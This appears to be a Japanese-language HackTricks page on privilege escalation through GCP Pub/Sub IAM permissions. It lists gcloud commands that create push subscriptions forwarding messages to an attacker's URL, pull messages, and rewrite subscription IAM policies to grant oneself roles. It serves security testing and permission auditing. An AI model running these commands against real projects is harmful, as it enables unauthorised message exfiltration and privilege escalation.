# GCP - Pubsub Privesc

{{#include ../../../banners/hacktricks-training.md}}

## PubSub

詳細は次を参照:

{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}

### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)

トピックのスナップショットは、**現在の unACKed メッセージとそれ以降のすべてのメッセージを含みます**。トピックのスナップショットを作成することで、**すべてのメッセージにアクセス**でき、**トピックに直接アクセスする必要を回避**できます。
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**

前述の権限を自分に割り当てる。

### `pubsub.subscriptions.create`

指定した URL に受信したメッセージをすべて送信する push サブスクリプションをトピックに作成できる。

### **`pubsub.subscriptions.update`**

自分の URL を push エンドポイントとして設定し、メッセージを盗む。

### `pubsub.subscriptions.consume`

サブスクリプションを使ってメッセージにアクセスする。
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`

任意の前述の権限を自分に付与する
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
